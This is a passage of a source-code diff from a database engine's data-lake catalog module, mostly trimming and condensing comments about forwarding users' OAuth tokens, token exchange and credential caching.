DB::ForwardedAuthTokenPtr getForwardedAuthToken(const DB::ContextPtr & context); } diff --git a/src/Databases/DataLake/DataLakeConstants.h b/src/Databases/DataLake/DataLakeConstants.h index bfd22706ff09..d404e3a4eb65 100644 --- a/src/Databases/DataLake/DataLakeConstants.h +++ b/src/Databases/DataLake/DataLakeConstants.h @@ -38,7 +38,5 @@ static inline std::unordered_map SETTINGS_TO_HIDE = /// DLF credentials {"dlf_access_key_id", DEFAULT_MASKING_RULE}, {"dlf_access_key_secret", DEFAULT_MASKING_RULE}, - /// NOTE: the `oauth_forward_user_token` family carries no secret and is left visible on - /// purpose. Any future setting that holds a static token must be added here. }; } diff --git a/src/Databases/DataLake/DatabaseDataLake.cpp b/src/Databases/DataLake/DatabaseDataLake.cpp index f5343aeb179d..1271a179992c 100644 --- a/src/Databases/DataLake/DatabaseDataLake.cpp +++ b/src/Databases/DataLake/DatabaseDataLake.cpp @@ -211,8 +211,6 @@ void DatabaseDataLake::validateTokenForwardingSettings() const const auto catalog_type = settings[DatabaseDataLakeSetting::catalog_type].value; - /// On the setting rather than on `ICatalog::supportsUserTokenForwarding`, because validation - /// runs before the catalog object exists. if (catalog_type != DB::DatabaseDataLakeCatalogType::ICEBERG_REST && catalog_type != DB::DatabaseDataLakeCatalogType::GLUE) throw Exception( ErrorCodes::BAD_ARGUMENTS, @@ -225,8 +223,6 @@ void DatabaseDataLake::validateTokenForwardingSettings() const return; } - /// `auth_header` short-circuits `getAuthHeaders`, so the two together would send the static - /// header and never the user's token. if (!settings[DatabaseDataLakeSetting::auth_header].value.empty()) throw Exception( ErrorCodes::BAD_ARGUMENTS, @@ -241,7 +237,6 @@ void DatabaseDataLake::validateTokenForwardingSettings() const "exchange request has to authenticate itself with client credentials. Passthrough " "(the default, with `oauth_token_exchange_uri` unset) needs none"); - /// The six token types defined by RFC 8693 and reused by the Iceberg REST `TokenType` schema. static const std::array valid_token_types = { "urn:ietf:params:oauth:token-type:access_token", "urn:ietf:params:oauth:token-type:refresh_token", @@ -287,8 +282,6 @@ void DatabaseDataLake::validateGlueTokenForwardingSettings(const DatabaseDataLak "`aws_secret_access_key` for a Glue catalog: static keys are a second identity and " "would be used instead of the one assumed for the querying user"); - /// The other RFC 8693 settings are already rejected by the rule that they have no effect - /// without `oauth_token_exchange_uri`. if (!settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value.empty()) throw Exception( ErrorCodes::BAD_ARGUMENTS, @@ -689,8 +682,6 @@ std::string DatabaseDataLake::getStorageEndpointForTable(const DataLake::TableMe bool DatabaseDataLake::empty() const { - /// `IDatabase::empty()` has no context to take a token from, so with forwarding enabled it - /// fails closed. return getCatalog()->empty(/* auth_token */ {}); } @@ -1297,9 +1288,7 @@ void registerDatabaseDataLake(DatabaseFactory & factory) } } - /// CREATE-only, so that a database persisted by an older version can never be blocked from - /// attaching at startup. Rejects configuration that reads as if forwarding or an exchange - /// were happening when it is not. + /// Validate only on `CREATE` so older persisted databases can still attach at startup. if (!args.create_query.attach) { const bool forwarding = database_settings[DatabaseDataLakeSetting::oauth_forward_user_token].value; diff --git a/src/Databases/DataLake/DatabaseDataLake.h b/src/Databases/DataLake/DatabaseDataLake.h index c6d3f87aae59..6cab4caf0f58 100644 --- a/src/Databases/DataLake/DatabaseDataLake.h +++ b/src/Databases/DataLake/DatabaseDataLake.h @@ -93,8 +93,6 @@ class DatabaseDataLake final : public IDatabase, WithContext void validateSettings(); - /// Rejects `oauth_forward_user_token` combinations that could not be honoured, or that would - /// be ignored. Runs on CREATE and on ATTACH. void validateTokenForwardingSettings() const; static void validateGlueTokenForwardingSettings(const DatabaseDataLakeSettings & settings); diff --git a/src/Databases/DataLake/GlueCatalog.cpp b/src/Databases/DataLake/GlueCatalog.cpp index b29e93a6b427..7d6a6964149a 100644 --- a/src/Databases/DataLake/GlueCatalog.cpp +++ b/src/Databases/DataLake/GlueCatalog.cpp @@ -206,7 +206,6 @@ namespace DataLake namespace { -/// STS accepts `[\w+=,.@-]{2,64}` for `RoleSessionName`. std::string makeRoleSessionName(const std::string & principal) { std::string result; @@ -311,7 +310,7 @@ GlueCatalog::GlueCatalog( boost::split(allowed_namespaces, settings.namespaces, boost::is_any_of(", "), boost::token_compress_on); - /// One endpoint provider per client: `GlueClient` takes ownership of the resolver state. + /// Each `GlueClient` owns its endpoint resolver state. auto build_glue_client = [client_configuration, endpoint](const std::shared_ptr & provider) { auto client_endpoint_provider = std::make_shared(); @@ -720,7 +719,6 @@ ICatalog::CredentialsRefreshCallback GlueCatalog::getCredentialsConfigurationCal /// S3 client is pinned to a snapshot that goes stale on long reads. This /// callback re-asks the same provider for current credentials each time /// `ReadBufferFromS3` reports an `ExpiredToken`, letting the read recover. - /// Resolved now, because the callback outlives the query context. auto credentials_provider = getClient(auth_token).credentials_provider; return [this, storage_id, credentials_provider]() -> std::shared_ptr diff --git a/src/Databases/DataLake/GlueCatalog.h b/src/Databases/DataLake/GlueCatalog.h index d8b18e56a163..e5b9fbcc619d 100644 --- a/src/Databases/DataLake/GlueCatalog.h +++ b/src/Databases/DataLake/GlueCatalog.h @@ -113,11 +113,9 @@ class GlueCatalog final : public ICatalog, private DB::WithContext std::shared_ptr credentials_provider; }; - /// Exactly one of the two is set, depending on `oauth_forward_user_token`. AuthenticatedClient service_client; std::function make_user_client; - /// Keyed on the token fingerprint. static constexpr size_t user_client_cache_max_entries = 1024; mutable DB::CacheBase user_clients; diff --git a/src/Databases/DataLake/HiveCatalog.h b/src/Databases/DataLake/HiveCatalog.h index fa4f56b6975e..9219f27b3989 100644 --- a/src/Databases/DataLake/HiveCatalog.h +++ b/src/Databases/DataLake/HiveCatalog.h @@ -32,7 +32,6 @@ class HiveCatalog final : public ICatalog, private DB::WithContext ~HiveCatalog() override = default; - /// Thrift Hive Metastore: no bearer token to forward, so the parameter is accepted and ignored. bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; diff --git a/src/Databases/DataLake/ICatalog.cpp b/src/Databases/DataLake/ICatalog.cpp index b1a90b083b52..f6d064a31cf7 100644 --- a/src/Databases/DataLake/ICatalog.cpp +++ b/src/Databases/DataLake/ICatalog.cpp @@ -348,10 +348,7 @@ DB::SettingsChanges CatalogSettings::allChanged() const void ICatalog::validateForwardedToken( const DB::ContextPtr & context, const DB::ForwardedAuthTokenPtr & auth_token, const std::string & catalog_description) const { - /// `enable_token_forwarding` is hot-reloadable, so re-read it per request rather than trust - /// the decision `Session::authenticate` made: otherwise an operator turning it off would keep - /// forwarding the token of every already-authenticated session until the server restarts. - /// Checked before the token itself, because the switch is why a session has no token. + /// Recheck the hot-reloadable switch so existing sessions stop forwarding when it is disabled. if (!context->getGlobalContext()->getAccessControl().isTokenForwardingEnabled()) { onTokenForwardingDisabled(); diff --git a/src/Databases/DataLake/ICatalog.h b/src/Databases/DataLake/ICatalog.h index 431b12d75238..971841264d03 100644 --- a/src/Databases/DataLake/ICatalog.h +++ b/src/Databases/DataLake/ICatalog.h @@ -181,12 +181,6 @@ class ICatalog virtual DB::DatabaseDataLakeCatalogType getCatalogType() const = 0; virtual ~ICatalog() = default; - /// Every method takes the token of the user on whose behalf the catalog is contacted, so that - /// a catalog which forwards it (currently only `RestCatalog`) authenticates as that user - /// instead of as the shared service principal. Mandatory rather than defaulted: a default - /// argument on a virtual resolves by static type. `getTableMetadata`/`tryGetTableMetadata` - /// take the token from their `ContextPtr` instead. Catalogs that cannot forward ignore it. - /// Does catalog have any tables? virtual bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const = 0; @@ -257,20 +251,15 @@ class ICatalog /// The Glue catalog does not support such operation. virtual bool isTransactional() const { return false; } - /// The returned lambda is stored inside the object storage and invoked long after the query - /// context is gone, so it takes the token rather than a `ContextPtr`. + /// The callback outlives the query context, so retain the token directly. virtual CredentialsRefreshCallback getCredentialsConfigurationCallback( const DB::StorageID & /*storage_id*/, const DB::ForwardedAuthTokenPtr & /*auth_token*/) { return std::nullopt; } - /// Whether this catalog can authenticate as the querying user rather than as the configured - /// service principal. The Iceberg REST catalog and Glue can. virtual bool supportsUserTokenForwarding() const { return false; } - /// Called by `validateForwardedToken` before it throws, to drop artifacts minted from user - /// tokens. virtual void onTokenForwardingDisabled() const {} virtual void setVendedCredentialsCacheTTL(std::chrono::seconds /*ttl*/) {} @@ -299,8 +288,6 @@ class ICatalog } protected: - /// Throws `CATALOG_USER_TOKEN_NOT_AVAILABLE` unless `enable_token_forwarding` is on and the - /// session carries a token. `catalog_description` only names the catalog in the message. void validateForwardedToken( const DB::ContextPtr & context, const DB::ForwardedAuthTokenPtr & auth_token, diff --git a/src/Databases/DataLake/PaimonRestCatalog.h b/src/Databases/DataLake/PaimonRestCatalog.h index ccff9da0e48b..f157a1eceddc 100644 --- a/src/Databases/DataLake/PaimonRestCatalog.h +++ b/src/Databases/DataLake/PaimonRestCatalog.h @@ -82,7 +82,6 @@ class PaimonRestCatalog final : public ICatalog, private DB::WithContext ~PaimonRestCatalog() override = default; - /// Paimon REST authenticates with a DLF token of its own; the user's token is ignored. bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index d468a15ad29e..146af86e5b82 100644 --- a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -497,8 +497,7 @@ RestCatalog::RestCatalog( validateAuthHeaders(initial_state.auth_header.value()); } - /// With forwarding there may be no service credential at all, so an unauthenticated - /// `GET /v1/config` would be rejected by a secured catalog. Defer it to the first user query. + /// Defer `/v1/config` until a query supplies the user token needed to authenticate it. if (!token_forwarding.forward_user_token) { initial_state.config = loadConfig(initial_state, /* generation */ 0, /* auth_token */ {}); @@ -545,10 +544,8 @@ void RestCatalog::loadConfigIfNeeded(const DB::ForwardedAuthTokenPtr & auth_toke new_state->config = loadConfig(*old_state, old_state.generation, auth_token); new_state->config_loaded = true; - /// `config_mutex` does not exclude `commitSettingsChanges`, which publishes without it, so - /// publishing a state built before an `ALTER ... MODIFY SETTING catalog_credential` would - /// carry the old credentials back with it. Drop the config instead of merging it: it was read - /// with credentials no longer in force, which may resolve the warehouse differently. + /// `commitSettingsChanges` can publish during the config request. Discard a stale result + /// so it cannot restore old credentials or a warehouse resolved with them. std::lock_guard publish_lock(auth_publish_mutex); if (auth_generation.load(std::memory_order_acquire) != old_state.generation) { @@ -631,15 +628,11 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders(const AuthContext & auth_conte /// Option 1: user specified auth header manually. /// Header has format: 'Authorization: '. - /// Mutually exclusive with forwarding, which `validateSettings` rejects: a static header - /// short-circuits everything below. if (catalog_state.auth_header.has_value()) { return DB::HTTPHeaderEntries{catalog_state.auth_header.value()}; } - /// Option 2: forward the querying user's identity, either as-is (passthrough) or as the - /// session token obtained by exchanging it. Never falls back to Option 3. if (token_forwarding.forward_user_token) { DB::HTTPHeaderEntries headers; @@ -650,7 +643,6 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders(const AuthContext & auth_conte return headers; } - /// Option 3: user provided grant_type, client_id and client_secret. /// We would make OAuthClientCredentialsRequest /// https://github.com/apache/iceberg/blob/3badfe0c1fcf0c0adfc7aa4a10f0b50365c48cf9/open-api/rest-catalog-open-api.yaml#L3498C5-L3498C34 if (!catalog_state.client_id.empty()) @@ -681,14 +673,11 @@ MultiVersion::Version RestCatalog::publishServiceToken(AccessToken { auto result = std::make_shared(std::move(minted)); - /// A grant that started before an `ALTER ... MODIFY SETTING catalog_credential` can only - /// finish after it, and would otherwise put the rotated-away credential back in force for the - /// lifetime of this token. The lock stops the ALTER from landing between check and publish. + /// Check and publish under one lock so a concurrent `ALTER` cannot restore a superseded token. std::lock_guard lock(auth_publish_mutex); if (auth_generation.load(std::memory_order_acquire) == generation) access_token.set(std::make_unique(*result)); - /// Returned regardless: only sharing the token with later requests is withheld. return result; } @@ -702,7 +691,6 @@ String RestCatalog::getForwardedToken( { validateForwardedToken(auth_token); - /// Passthrough: nothing is cached, the token arrives with every request anyway. if (!token_forwarding.exchangeEnabled()) return auth_token->token; @@ -717,8 +705,6 @@ String RestCatalog::getForwardedToken( if (!caching_enabled) return exchange()->token; - /// Scoped to the generation the exchange authenticated in, so that one still in flight when - /// the credentials are rotated writes its result under a key nothing reads any more. const String cache_key = fmt::format("{}:{}", generation, auth_token->fingerprint); if (!update_token) @@ -730,9 +716,7 @@ String RestCatalog::getForwardedToken( } } - /// Either the entry expired or the caller asked for a fresh one. Drop it first so that - /// `getOrSetWithOutcome` reloads instead of handing back the stale value, while still - /// collapsing concurrent re-exchanges. + /// Remove stale entries before `getOrSetWithOutcome` so concurrent refreshes share a fresh result. user_token_cache.remove(cache_key); auto [session_token, outcome] = user_token_cache.getOrSetWithOutcome(cache_key, exchange); if (outcome == DB::CacheGetOrSetOutcome::Hit) @@ -754,9 +738,6 @@ AccessToken RestCatalog::exchangeUserToken( request.subject_token_type = token_forwarding.subject_token_type; request.requested_token_type = token_forwarding.requested_token_type; - /// Off by default: an `actor_token` is only meaningful to a server that can validate it, - /// which an IdP cannot. If minting it fails the error propagates rather than downgrading the - /// exchange from delegation to plain impersonation. if (token_forwarding.forward_actor_token) { request.actor_token = prepared_actor_token ? prepared_actor_token->token : getServicePrincipalToken(catalog_state, generation); @@ -777,8 +758,7 @@ AccessToken RestCatalog::exchangeUserToken( throw; } - /// Cap at the configured TTL, and apply it as the expiry when the response carries no - /// `expires_in`: a cached token with no expiry would survive IdP revocation indefinitely. + /// Bound cached tokens even when the endpoint omits `expires_in`. if (token_forwarding.user_token_cache_ttl > 0) { const auto ttl_bound = std::chrono::system_clock::now() + std::chrono::seconds(token_forwarding.user_token_cache_ttl); @@ -876,7 +856,6 @@ void RestCatalog::validateSettingsChanges(const DB::SettingsChanges & changes, b struct RestCatalog::PreparedAuthChanges : ICatalog::PreparedSettingsChanges { std::unique_ptr new_state; - /// A service token prepared with the proposed credentials, when required for authentication or delegation. std::unique_ptr new_access_token; }; @@ -894,8 +873,7 @@ ICatalog::PreparedSettingsChangesPtr RestCatalog::prepareSettingsChanges( if (token_forwarding.forward_user_token) { - /// Exchange directly, without reading or populating the live user cache: preparation - /// may fail or be abandoned, and concurrent queries must keep the committed credentials. + /// Preparation may fail or be abandoned; do not publish its tokens in the live cache. if (token_forwarding.exchangeEnabled()) { if (token_forwarding.forward_actor_token && !prepared->new_access_token) @@ -922,22 +900,15 @@ void RestCatalog::commitSettingsChanges(ICatalog::PreparedSettingsChangesPtr pre throw DB::Exception(DB::ErrorCodes::LOGICAL_ERROR, "Settings changes to commit were not prepared by this catalog"); { - /// Under the lock so that a request cannot check the generation, find it unchanged, and - /// only then publish a token minted with the credentials being replaced here. std::lock_guard lock(auth_publish_mutex); state.set(std::move(prepared_auth->new_state)); if (prepared_auth->new_access_token) access_token.set(std::move(prepared_auth->new_access_token)); - /// After the state, never before: a reader takes the generation first, so this order - /// leaves it either correct or one generation behind, which costs a wasted cache fill. + /// Publish the state before its generation; readers load them in the opposite order. auth_generation.fetch_add(1, std::memory_order_release); } - /// Both caches hold artifacts derived from the credentials that were just replaced, and - /// keeping them would let a rotated credential work for the rest of the cache TTL. Cleared - /// after the generation is bumped, so that a write slipping past the generation check - /// necessarily started before this clear and is wiped by it. user_token_cache.clear(); { std::lock_guard lock(credentials_cache_mutex); @@ -975,8 +946,6 @@ void RestCatalog::applySettingsChangesToState( if (credential_mode && (!token_forwarding.forward_user_token || token_forwarding.forward_actor_token) && (new_state.client_id != old_state.client_id || new_state.client_secret != old_state.client_secret)) { - /// Validate the proposed credentials without publishing the token. Under forwarding - /// it is used only as the exchange actor; otherwise it signs the config reload. new_access_token = std::make_unique(retrieveAccessToken(new_state.client_id, new_state.client_secret)); new_auth_headers = DB::HTTPHeaderEntries{{"Authorization", "Bearer " + new_access_token->token}}; } @@ -1082,10 +1051,7 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const size_t body_size = 0; String body; - /// Both grants authenticate with `client_id`/`client_secret` in the form body -- standard - /// OAuth token-endpoint client authentication. Sending the catalog's bearer token as well, - /// as Iceberg's own client does for the exchange, is rejected by strict servers as multiple - /// client-authentication methods. + /// Do not also send bearer authentication: strict OAuth servers reject multiple client-authentication methods. std::vector> params; if (token_request.grant == TokenRequest::Grant::ClientCredentials) { @@ -1099,12 +1065,10 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const params.emplace_back("grant_type", "urn:ietf:params:oauth:grant-type:token-exchange"); params.emplace_back("subject_token", token_request.subject_token); params.emplace_back("subject_token_type", token_request.subject_token_type); - /// An empty `requested_token_type` means "omit the field", per the setting's description. if (!token_request.requested_token_type.empty()) params.emplace_back("requested_token_type", token_request.requested_token_type); if (!token_request.scope.empty()) params.emplace_back("scope", token_request.scope); - /// Absent rather than empty when disabled: strict servers reject an empty `actor_token`. if (!token_request.actor_token.empty()) { params.emplace_back("actor_token", token_request.actor_token); @@ -1139,8 +1103,6 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const } const auto & context = getContext(); - /// Checked for the exchange endpoint too: the URL is chosen by whoever created the database, - /// and the request carries the querying user's own token. context->getRemoteHostFilter().checkHostAndPort(url.getHost(), std::to_string(url.getPort())); auto timeouts = DB::ConnectionTimeouts::getHTTPTimeouts(context->getSettingsRef(), context->getServerSettings()); auto session = makeHTTPSession(DB::HTTPConnectionGroupType::HTTP, url, timeouts, {}); @@ -1162,8 +1124,7 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const std::string json_str; Poco::StreamCopier::copyToString(rs, json_str); - /// The failures below name the endpoint and the status but never the response body: an OAuth - /// error response may echo the request, which for an exchange carries the user's token. + /// OAuth error bodies may echo the subject token, so exclude them from exceptions. const auto describe_endpoint = [&url, &response] { return fmt::format( @@ -1206,8 +1167,6 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons { static constexpr auto oauth_tokens_endpoint = "oauth/tokens"; - /// Does not honour the catalog-advertised `oauth2-server-uri` from `/v1/config`; the explicit - /// settings cover every deployable case. TokenRequest request; request.grant = TokenRequest::Grant::ClientCredentials; request.scope = auth_scope; @@ -1231,8 +1190,6 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons String RestCatalog::getServicePrincipalToken(const CatalogState & catalog_state, UInt64 generation) const { - /// Same caching rule as the `client_credentials` branch of `getAuthHeaders`: reuse the token - /// in `access_token` until it falls outside its validity window, then mint a new one. auto current = access_token.get(); if (!current || current->isExpired()) current = publishServiceToken(retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret), generation); @@ -1438,7 +1395,6 @@ AccessToken BigLakeCatalog::retrieveGoogleCloudAccessToken() const std::optional RestCatalog::getStorageType() const { const auto state_snapshot = getStateSnapshot(); - /// Under forwarding the config is filled in lazily by the first user query. if (!state_snapshot->config_loaded || state_snapshot->config.default_base_location.empty()) return std::nullopt; return parseStorageTypeFromLocation(state_snapshot->config.default_base_location); @@ -1511,9 +1467,6 @@ DB::ReadWriteBufferFromHTTPPtr RestCatalog::createReadBuffer( bool RestCatalog::shouldRetryWithFreshToken(Poco::Net::HTTPResponse::HTTPStatus status) const { - /// Under forwarding the retry must never re-mint as the service principal. Only 401, where - /// the token may genuinely have expired mid-query, re-runs that principal's exchange; 403 is - /// an authorization decision and is terminal. Passthrough has nothing to re-mint. if (token_forwarding.forward_user_token) return token_forwarding.exchangeEnabled() && status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_UNAUTHORIZED; @@ -1926,9 +1879,7 @@ DB::Names RestCatalog::parseTables(DB::ReadBuffer & buf, const std::string & bas bool RestCatalog::existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { TableMetadata table_metadata; - /// The catalog's own (global) context is fine here: `table_metadata` asks for neither a schema - /// nor credentials, so the context is never used to interpret a response. The identity that - /// matters travels in `auth_token`. + /// This metadata request needs neither schema nor credentials from the context; identity travels in `auth_token`. return tryGetTableMetadataImpl(namespace_name, table_name, getContext(), table_metadata, auth_token); } @@ -2236,8 +2187,6 @@ void RestCatalog::sendRequest( DB::HTTPHeaderEntries extra_headers; extra_headers.emplace_back("Content-Type", "application/json"); - /// `update_token = false` plus a 401 retry, mirroring `createReadBuffer`: re-minting - /// unconditionally would cost a token round trip on every catalog mutation. auto create_buffer = [&](bool update_token, bool & used_cached_oauth_token) { AuthContext auth_context{ @@ -2643,12 +2592,8 @@ VendedStorageCredentials RestCatalog::getCredentialsAndEndpoint(Poco::JSON::Obje String RestCatalog::getCredentialsCachePrincipal(const DB::ForwardedAuthTokenPtr & auth_token) const { - /// Empty when forwarding is off: the catalog vends the same service-principal credentials to - /// everyone. if (!token_forwarding.forward_user_token || !auth_token) return {}; - /// The fingerprint rather than the user name: rotating a token must not reuse the credentials - /// vended for the token it replaced. return auth_token->fingerprint; } @@ -2697,8 +2642,6 @@ void RestCatalog::cacheCredentials(const CredentialsCacheKey & key, const Vended if (credentials_cache.size() >= credentials_cache_cleanup_threshold) std::erase_if(credentials_cache, [&now](const auto & entry) { return now >= entry.second.expires_at.value(); }); - /// The sweep above only removes what has already expired, which is not a bound: with - /// per-principal keys the cache is O(users x tables). Evict the entries that expire soonest. while (credentials_cache.size() >= credentials_cache_max_entries) { auto oldest = std::min_element( @@ -2717,9 +2660,7 @@ void RestCatalog::cacheCredentials(const CredentialsCacheKey & key, const Vended ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCallback( const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) { - /// Captured by value so that a mid-query credential refresh re-vends as the same user. The - /// raw token therefore lives in the object storage's credential refresher for the lifetime of - /// the per-query storage. + /// The refresher outlives the query context and must continue vending as the same user. return [this, storage_id, auth_token] () -> std::shared_ptr { LOG_DEBUG(log, "Update credentials in the catalog"); diff --git a/src/Databases/DataLake/RestCatalog.h b/src/Databases/DataLake/RestCatalog.h index 630f5b962120..89284fa56fcd 100644 --- a/src/Databases/DataLake/RestCatalog.h +++ b/src/Databases/DataLake/RestCatalog.h @@ -50,9 +50,6 @@ struct VendedStorageCredentials std::string table_uuid = {}; }; -/// Per-database configuration of forwarding the querying user's own token to the catalog. -/// The presence of `token_exchange_uri` is the mode: empty means passthrough (the user's bearer -/// token is presented unchanged), non-empty means an RFC 8693 exchange against that URL. struct TokenForwardingConfig { bool forward_user_token = false; @@ -65,8 +62,6 @@ struct TokenForwardingConfig bool exchangeEnabled() const { return forward_user_token && !token_exchange_uri.empty(); } }; -/// One OAuth token-endpoint request: a service principal `client_credentials` grant, or an -/// RFC 8693 token exchange. struct TokenRequest { enum class Grant @@ -77,14 +72,10 @@ struct TokenRequest Grant grant = Grant::ClientCredentials; Poco::URI url; - /// Send parameters in the query string rather than in the form body. Only ever set for - /// `ClientCredentials` (`oauth_server_use_request_body = 0`); an exchange must never put the - /// user's JWT in a request line. bool use_query_parameters = false; String scope; String client_id; String client_secret; - /// `TokenExchange` only. String subject_token; String subject_token_type; String requested_token_type; @@ -92,9 +83,6 @@ struct TokenRequest String actor_token_type; }; -/// Key of the vended-credentials cache. `generation` makes entries derived from superseded -/// catalog credentials unreachable the moment the generation moves on; `principal` keeps one -/// user's credentials from being served to another, and is empty when forwarding is off. struct CredentialsCacheKey { UInt64 generation = 0; @@ -172,8 +160,6 @@ class RestCatalog : public ICatalog, public DB::WithContext void onTokenForwardingDisabled() const override { user_token_cache.clear(); } - /// A forwarding catalog cannot fetch `/v1/config` from the constructor, which has no user and - /// possibly no service credential, so the first user query loads it instead. void loadConfigIfNeeded(const DB::ForwardedAuthTokenPtr & auth_token) const; void setVendedCredentialsCacheTTL(std::chrono::seconds ttl) override { vended_credentials_cache_ttl.store(ttl, std::memory_order_relaxed); } @@ -201,37 +187,25 @@ class RestCatalog : public ICatalog, public DB::WithContext std::string tenant_id; std::string bearer_token; Config config; - /// See `loadConfigIfNeeded`. bool config_loaded = false; }; using CatalogStateVersion = MultiVersion::Version; - /// Everything a `getAuthHeaders` implementation may need about the request being authenticated. struct AuthContext { - /// The snapshot the caller derived the endpoint from, so that one request never mixes - /// the endpoint of one state version with the auth of another. + /// Keep the endpoint and authentication from the same state snapshot. const CatalogState & catalog_state; - /// The auth generation `catalog_state` was taken in -- see `StateSnapshot`. UInt64 generation = 0; - /// Force a fresh token instead of reusing the cached one. Under forwarding this re-runs - /// the user's exchange, never a `client_credentials` grant. bool update_token = false; String method; Poco::URI url; DB::HTTPHeaderEntries extra_headers; String body; - /// The token of the user on whose behalf this request is made, if any. DB::ForwardedAuthTokenPtr auth_token; - /// Set to whether an already-cached OAuth token was reused, when not null. The caller - /// accounts for `DataLakeRestCatalogAuthTokenCachedValid`, because only it knows whether - /// the request went on to succeed. + /// The caller records cache hits only after the catalog request succeeds. bool * used_cached_oauth_token = nullptr; }; - /// A `CatalogState` snapshot paired with the auth generation in force when it was taken. - /// Everything a request derives from the snapshot is tagged with that generation and becomes - /// unreachable once `commitSettingsChanges` moves the generation on. struct StateSnapshot { UInt64 generation = 0; @@ -241,8 +215,7 @@ class RestCatalog : public ICatalog, public DB::WithContext const CatalogState * operator->() const { return state.get(); } }; - /// Reads the generation before the state, never after: the reverse order could pair a new - /// generation with an old state and let superseded credentials cache a result as current. + /// Read the generation first so an old state cannot cache credentials under a new generation. StateSnapshot getStateSnapshot() const { const UInt64 generation = auth_generation.load(std::memory_order_acquire); @@ -279,11 +252,7 @@ class RestCatalog : public ICatalog, public DB::WithContext const std::filesystem::path base_url; const LoggerPtr log; - /// Mutable because a forwarding catalog publishes the lazily loaded `/v1/config` from the - /// const query path. mutable MultiVersion state{std::make_unique()}; - /// Serializes the lazy config load, so that queries fanned across the catalog thread pool - /// issue one `GET /v1/config` between them. mutable std::mutex config_mutex; /// Parameters for OAuth (common for REST catalog). @@ -291,26 +260,20 @@ class RestCatalog : public ICatalog, public DB::WithContext std::string auth_scope; std::string oauth_server_uri; bool oauth_server_use_request_body; - /// Strictly the service-principal / actor token. Shared by every user of the database, so a - /// per-user token must never be stored here. + /// Shared service or actor token; never store a user token here. mutable MultiVersion access_token; TokenForwardingConfig token_forwarding; - /// Session tokens obtained by exchanging a user's token, keyed on the token fingerprint so - /// that a cached session cannot outlive the credential that produced it. Bounded, because the - /// number of concurrent users is not. Passthrough caches nothing. static constexpr size_t user_token_cache_max_entries = 1024; mutable DB::CacheBase user_token_cache; - /// Bumped by `commitSettingsChanges` once per auth change, so that a request which - /// authenticated with since-rotated credentials cannot publish or cache its result as current. - /// Not a field of `CatalogState`, which is republished for unrelated reasons. + /// Separate from `CatalogState`, which can be republished without an auth change. + /// Old requests retain their generation so their cache writes become unreachable after rotation. std::atomic auth_generation{0}; - /// Serializes publishing an auth artifact against `commitSettingsChanges` publishing a new - /// one, so that the generation check and the publish it guards cannot be split by an ALTER. - /// Never held across a network request. + /// Keep generation checks and token publication atomic with credential rotation. + /// Never hold this across a network request. mutable std::mutex auth_publish_mutex; /// TTL for caching vended credentials per table (0 means no caching). @@ -319,8 +282,6 @@ class RestCatalog : public ICatalog, public DB::WithContext /// Sweep trigger threshold, not capacity! static constexpr size_t credentials_cache_cleanup_threshold = 1000; - /// Hard capacity: the sweep above only triggers on expiry, and with per-user keys the cache - /// is O(users x tables). Eviction is by earliest `expires_at`. static constexpr size_t credentials_cache_max_entries = 10000; static constexpr std::chrono::seconds credentials_expiry_safety_window{60}; @@ -378,7 +339,6 @@ class RestCatalog : public ICatalog, public DB::WithContext Namespaces parseNamespaces(DB::ReadBuffer & buf, const std::string & base_namespace, String & next_page_token) const; - /// Named apart from the `getTables(auth_token)` override, which it would otherwise overload. DB::Names getTablesInNamespace(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token, size_t limit = 0) const; DB::Names parseTables(DB::ReadBuffer & buf, const std::string & base_namespace, size_t limit, String & next_page_token) const; @@ -391,7 +351,6 @@ class RestCatalog : public ICatalog, public DB::WithContext const DB::ForwardedAuthTokenPtr & auth_token, bool allow_credentials_cache = true) const; - /// `tryGetTableMetadata` for callers that carry the token separately from the context. bool tryGetTableMetadataImpl( const std::string & namespace_name, const std::string & table_name, @@ -410,14 +369,9 @@ class RestCatalog : public ICatalog, public DB::WithContext void validateForwardedToken(const DB::ForwardedAuthTokenPtr & auth_token) const; - /// The user's own token, or the session token obtained by exchanging it, depending on whether - /// `oauth_token_exchange_uri` is set. Throws `CATALOG_USER_TOKEN_NOT_AVAILABLE` when there is - /// no token, or when `enable_token_forwarding` has since been turned off; never falls back to - /// the service principal. String getForwardedToken( const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const; - /// Whether a failed catalog request should be retried once with a freshly minted token. bool shouldRetryWithFreshToken(Poco::Net::HTTPResponse::HTTPStatus status) const; void validateAuthHeaders(const DB::HTTPHeaderEntry & header) const; @@ -435,37 +389,26 @@ class RestCatalog : public ICatalog, public DB::WithContext VendedStorageCredentials getCredentialsAndEndpoint(Poco::JSON::Object::Ptr object, const String & location) const; - /// Empty when forwarding is off. String getCredentialsCachePrincipal(const DB::ForwardedAuthTokenPtr & auth_token) const; std::optional tryGetCachedCredentials(const CredentialsCacheKey & key) const; void cacheCredentials(const CredentialsCacheKey & key, const VendedStorageCredentials & parsed) const; - /// Publishes a freshly minted service-principal token into `access_token`, but only if the - /// credentials it was minted with are still in force. Returns it either way. MultiVersion::Version publishServiceToken(AccessToken minted, UInt64 generation) const; - /// Performs one OAuth token-endpoint request, for either 